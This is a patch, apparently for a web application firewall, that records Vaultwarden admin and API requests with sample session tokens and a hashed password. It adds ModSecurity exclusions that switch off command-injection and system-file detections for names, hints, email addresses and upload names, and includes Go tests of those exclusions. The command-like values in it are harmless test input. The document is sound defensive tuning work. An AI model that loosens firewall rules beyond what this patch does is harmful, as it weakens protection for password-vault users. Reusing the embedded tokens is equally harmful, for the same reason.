VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwNTksImV4cCI6MTc5NDI4NDI1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.GLGh7VC7iFIv0RcEf6Q7B7IzFiFwFtj6_GulgOGV2AFVGNxtCZbHv4ZroUq9L6FecbS_qqo_baLjHIq5S1IP8TiRFqUg6-61ROw7xkmnBVyp2kfbYcIseE79HiHTUoTbhROU3VJus7hk0M-7Rfat7nNDoItMNY4k5qZitSSpaN0Z6-KfHWsOPxZxICJ7Ya5YreWra0nUZizH53qCfs_iIJlCIdmrtVTlPZEo0cTTJOUtuDR_RFdA8u5MTTi4HABO9NNOVV5mLiJ9_YbOSFt2JSG_FRRsp7MjyKHlZJJx5NHHyqlj7CIGcuc1LVIU6XlhnQU8oY2s91RhCN1Wjqgfeg", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":\"python3@example.com\",\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
|
||||
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 38", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwNTksImV4cCI6MTc5NDI4NDI1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.GLGh7VC7iFIv0RcEf6Q7B7IzFiFwFtj6_GulgOGV2AFVGNxtCZbHv4ZroUq9L6FecbS_qqo_baLjHIq5S1IP8TiRFqUg6-61ROw7xkmnBVyp2kfbYcIseE79HiHTUoTbhROU3VJus7hk0M-7Rfat7nNDoItMNY4k5qZitSSpaN0Z6-KfHWsOPxZxICJ7Ya5YreWra0nUZizH53qCfs_iIJlCIdmrtVTlPZEo0cTTJOUtuDR_RFdA8u5MTTi4HABO9NNOVV5mLiJ9_YbOSFt2JSG_FRRsp7MjyKHlZJJx5NHHyqlj7CIGcuc1LVIU6XlhnQU8oY2s91RhCN1Wjqgfeg", "Priority: u=1, i"], "body": "{\"email\":\"powershell.ops@example.com\"}"}
|
||||
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2586", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwODEsImV4cCI6MTc5NDI4NDI4MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.QYGIDiydJkn1f2wGNmVNeE5H8BuAJGv6pvsjym-9F8nNs4r7fUts9i8QlWQCCdj8bSPHh-oQfTg0XALCLll8Z13w-WPZn8WNAplLw2z8y0zcH_L2RwmSKqX8-wufLZMyiRSe272j41niBlzWTybXMjyRO1XDbu7c2JN_nTXemK3LV0h7mz2zPIY6TftwEFYEXGMQIMa70AqVdplcWTJw9idn88K5LjP-mTcTbNMRI6ybWrodZAQuC0UwNx3Wphcf3yhiL5h_KX4ruPy5I9E4MaQUWQlbFBKIfqbbx9t2x7URL2Co8Aw8oDc66A2am8One4k542PLcKA2HjbvcLjR8g", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":\"smtp.example.com\",\"smtp_security\":\"starttls\",\"smtp_from\":\"python3@example.com\",\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
|
||||
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 35", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwODEsImV4cCI6MTc5NDI4NDI4MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.QYGIDiydJkn1f2wGNmVNeE5H8BuAJGv6pvsjym-9F8nNs4r7fUts9i8QlWQCCdj8bSPHh-oQfTg0XALCLll8Z13w-WPZn8WNAplLw2z8y0zcH_L2RwmSKqX8-wufLZMyiRSe272j41niBlzWTybXMjyRO1XDbu7c2JN_nTXemK3LV0h7mz2zPIY6TftwEFYEXGMQIMa70AqVdplcWTJw9idn88K5LjP-mTcTbNMRI6ybWrodZAQuC0UwNx3Wphcf3yhiL5h_KX4ruPy5I9E4MaQUWQlbFBKIfqbbx9t2x7URL2Co8Aw8oDc66A2am8One4k542PLcKA2HjbvcLjR8g", "Priority: u=1, i"], "body": "{\"email\":\"python3.ops@example.com\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=20c6a127-e84f-4010-8416-c5bcef15d0bd&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Content-Length: 85", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMxODksImV4cCI6MTc5NDI5MDM4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6IjIwYzZhMTI3LWU4NGYtNDAxMC04NDE2LWM1YmNlZjE1ZDBiZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.BdjhBukR0uiqdlUr2oilQ5QvOa1flSWIO5htzH1FpGLeqprj-zyM_OR8szEtaHXl_i7IsCxgDhI36R8d9r4KJd74nmD7H0fzqLi1D3lGkccW8OjCX5YjU81XvARUXMp1C-7g-mkhPaojcvgwuQN2pWXWjZIy1JHhP-rSZX-0HXiECXCQdGiv-UCrNO6N7QOApS6OvNK6sgQQTZ1J08VjSYdWI6E-zwZh6U2_Ox3XT6XTB8VzSAjqynJErLlEinr4ejWYkUaCT56PsEj-vBgIKtuIACI6gy60Z5A0SbWuIbJtzwbecvjhcKhS_5AF48NUEUfKxdzRdsE0MwvIBYAXFg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"ls -la and powershell team\",\"billingEmail\":\"powershell.billing@example.com\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMxODksImV4cCI6MTc5Njg3NTE4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiNWJTTklURmQxRzYxN1lFRFJleUlvUFhzSkpMWkdQSUliY2szVFZjSUZfaEdkZGdrdVpUaTFsQ09OUlRYV2tlTEJYdHNld3RWV2IySEZuSlB3WDMtNWc9PSIsInRva2VuIjpudWxsfQ.hdoq_DygkBEZGPxknOVIPcSkU7Qz8GItq9KjB42QX747e8luUPjgn9KpEBiH9NDnDO2oAycbyaxJ9rAcSeYovNPzkoDlTyl-qvJgR07UMHKNyhrqblEhde6JcDaxRYBwb0JS1HPY2YPC8TZr_c3zvOJhnOVKv2DegVY94xFFCB1USPphpkS1DYMfo2QaBTW--ryhnL562CVL4Rz4cEVr0tvSzQvYkwB8ro3p_z2TT8Vxz3n9zfBGV_8uIFIGnw8d9CbIuypTEWgZg9bvazVZP88ooeTU7JIa2ylB3-P0HNhgrvKlMvbqIPAA4dRIyIhyO_ulBNIJDPaiUGWBAEzeXA"}
|
||||
@@ -0,0 +1,70 @@
|
||||
# The twelfth change: on Vaultwarden's paths, some fields skip the rules that
|
||||
# refused ordinary Vaultwarden requests there. They are the fields where
|
||||
# Vaultwarden receives a name, a password hint or an email address in plain
|
||||
# text, and the names of uploaded files. Each exclusion runs with the request,
|
||||
# before the rules it switches off, so this file is loaded before the Core Rule
|
||||
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
||||
# field of a body applies only when the query has no parameter of that name, so
|
||||
# it matters only while SWW_WAF_BODY_LIMIT is set.
|
||||
#
|
||||
# The apps encrypt the names, notes, addresses and file names of vault items,
|
||||
# folders, collections and sends before they send them. These values pass
|
||||
# without exclusions.
|
||||
#
|
||||
# Four rules read a name or a hint as a command or a system file:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
|
||||
# Names and password hints, in JSON bodies, skip the four rules:
|
||||
# name: signing up, editing the account's profile, and creating or renaming
|
||||
# an organization or a group, "python3 .htaccess team"
|
||||
# masterPasswordHint: signing up or changing the master password,
|
||||
# "the .htaccess one, not powershell"
|
||||
# invitation_org_name, smtp_from_name: saving the admin page's settings,
|
||||
# "ls -la and .htaccess vault"
|
||||
# Drupal serves /admin/config too, but sends no JSON there.
|
||||
SecRule REQUEST_FILENAME "@rx ^/identity/accounts/|^/api/(?:accounts|emergency-access|organizations)(?:/|$)|^/admin/config$" \
|
||||
"id:900960,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/"
|
||||
|
||||
# Email addresses, in bodies, skip 932120 and 932260 only, which refused
|
||||
# python3.dev@example.com and powershell@example.com:
|
||||
# username: signing in at /identity/connect/token, in form data
|
||||
# email: signing up, asking for the password hint, inviting an emergency
|
||||
# contact, and inviting a user from the admin page
|
||||
# salt fields, such as masterPasswordUnlock.salt: signing up and changing
|
||||
# the master password, which send the address as the salt
|
||||
# newEmail: changing the account's address
|
||||
# billingEmail: creating or editing an organization
|
||||
# emails: inviting members to an organization
|
||||
# smtp_from: saving the admin page's settings
|
||||
# An address keeps 930120 and 932250, which refuse "ls -la" and a system file.
|
||||
SecRule REQUEST_FILENAME "@rx ^/identity/(?:connect/token$|accounts/)|^/api/(?:accounts|emergency-access|organizations)(?:/|$)|^/admin/(?:config|invite)$" \
|
||||
"id:900961,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|(?:[a-z]+\.)+salt))$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=932120;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|(?:[a-z]+\.)+salt))$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|(?:[a-z]+\.)+salt))$/"
|
||||
|
||||
# The data breach report sends an address in the query, which skips the same
|
||||
# two rules: /api/hibp/breach?username=powershell%40example.com.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
|
||||
"id:900962,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:username,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:username"
|
||||
|
||||
# An uploaded attachment or file send is named by its encrypted name, such as
|
||||
# "2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrR...". 920120 refused the "=" in
|
||||
# it, so the names of uploaded files skip 920120 on these paths:
|
||||
# /api/ciphers/<id>/attachment/<attachment id>, and the older uploads to
|
||||
# /api/ciphers/<id>/attachment, /api/ciphers/<id>/attachment-admin and
|
||||
# /api/ciphers/<id>/attachment/<attachment id>/share
|
||||
# /api/sends/<id>/file/<file id>
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
|
||||
"id:900963,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920120;FILES"
|
||||
@@ -0,0 +1,303 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const vaultwardenThreshold = 5
|
||||
|
||||
// Paths of Vaultwarden's API and admin page.
|
||||
const (
|
||||
vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b"
|
||||
vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d"
|
||||
vaultwardenSignUp = "/identity/accounts/register/send-verification-email"
|
||||
vaultwardenFinishSignUp = "/identity/accounts/register/finish"
|
||||
vaultwardenPassword = "/api/accounts/password"
|
||||
vaultwardenProfile = "/api/accounts/profile"
|
||||
vaultwardenSettings = "/admin/config"
|
||||
)
|
||||
|
||||
// vaultwardenEmail is a JSON body that sends an address in email.
|
||||
const vaultwardenEmail = `{"email":"VALUE"}`
|
||||
|
||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||
}
|
||||
|
||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||
// request that sends it, and its body, with VALUE where the field's value
|
||||
// goes.
|
||||
type vaultwardenField struct {
|
||||
method, target, contentType, body string
|
||||
}
|
||||
|
||||
// with returns f's body holding value, escaped as f's kind of body escapes
|
||||
// it.
|
||||
func (f vaultwardenField) with(t *testing.T, value string) string {
|
||||
t.Helper()
|
||||
|
||||
escaped := url.QueryEscape(value)
|
||||
|
||||
if f.contentType == jsonBody {
|
||||
quoted, err := json.Marshal(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
escaped = strings.Trim(string(quoted), `"`)
|
||||
}
|
||||
|
||||
return strings.ReplaceAll(f.body, "VALUE", escaped)
|
||||
}
|
||||
|
||||
// vaultwardenNameFields hold every field that skips 930120, 932120, 932250
|
||||
// and 932260: the names and the password hints.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var vaultwardenNameFields = []vaultwardenField{
|
||||
{
|
||||
http.MethodPost, vaultwardenSignUp, jsonBody,
|
||||
`{"email":"alice@example.com","name":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
||||
},
|
||||
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
||||
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
||||
{
|
||||
http.MethodPost, "/api/organizations", jsonBody,
|
||||
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
||||
},
|
||||
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
||||
}
|
||||
|
||||
// vaultwardenAddressFields hold every field of a body that skips 932120
|
||||
// and 932260 only: the email addresses.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var vaultwardenAddressFields = []vaultwardenField{
|
||||
{
|
||||
http.MethodPost, "/identity/connect/token", formData,
|
||||
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
||||
},
|
||||
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
||||
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
||||
{
|
||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||
`{"masterPasswordAuthentication":{"salt":"VALUE"}}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||
`{"masterPasswordUnlock":{"salt":"VALUE"}}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, vaultwardenPassword, jsonBody,
|
||||
`{"authenticationData":{"salt":"VALUE"}}`,
|
||||
},
|
||||
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
||||
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
||||
{
|
||||
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
||||
`{"email":"VALUE","type":0}`,
|
||||
},
|
||||
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
||||
{
|
||||
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
||||
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
||||
},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
||||
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
||||
}
|
||||
|
||||
// vaultwardenBreachReport is the data breach report, which sends an address
|
||||
// in the query, ending in "=".
|
||||
const vaultwardenBreachReport = "/api/hibp/breach?username="
|
||||
|
||||
// vaultwardenAddresses are the addresses 932120 and 932260 refused.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var vaultwardenAddresses = []string{"python3.dev@example.com", "powershell@example.com"}
|
||||
|
||||
// wantVaultwardenField checks that the Core Rule Set, reading bodies,
|
||||
// refuses f holding value, or lets it through.
|
||||
func wantVaultwardenField(
|
||||
t *testing.T, f vaultwardenField, value string, refused bool,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
r := request{f.method, f.target, []string{f.contentType}}
|
||||
body := f.with(t, value)
|
||||
|
||||
got, _ := inspectBody(t, readingBodies(t), r, body)
|
||||
if refused && got.Score < vaultwardenThreshold {
|
||||
t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got)
|
||||
}
|
||||
|
||||
if !refused && got.Score >= vaultwardenThreshold {
|
||||
t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, encoded := range hardValues {
|
||||
value, _ := url.QueryUnescape(encoded)
|
||||
|
||||
for _, f := range vaultwardenNameFields {
|
||||
wantVaultwardenField(t, f, value, false)
|
||||
}
|
||||
}
|
||||
|
||||
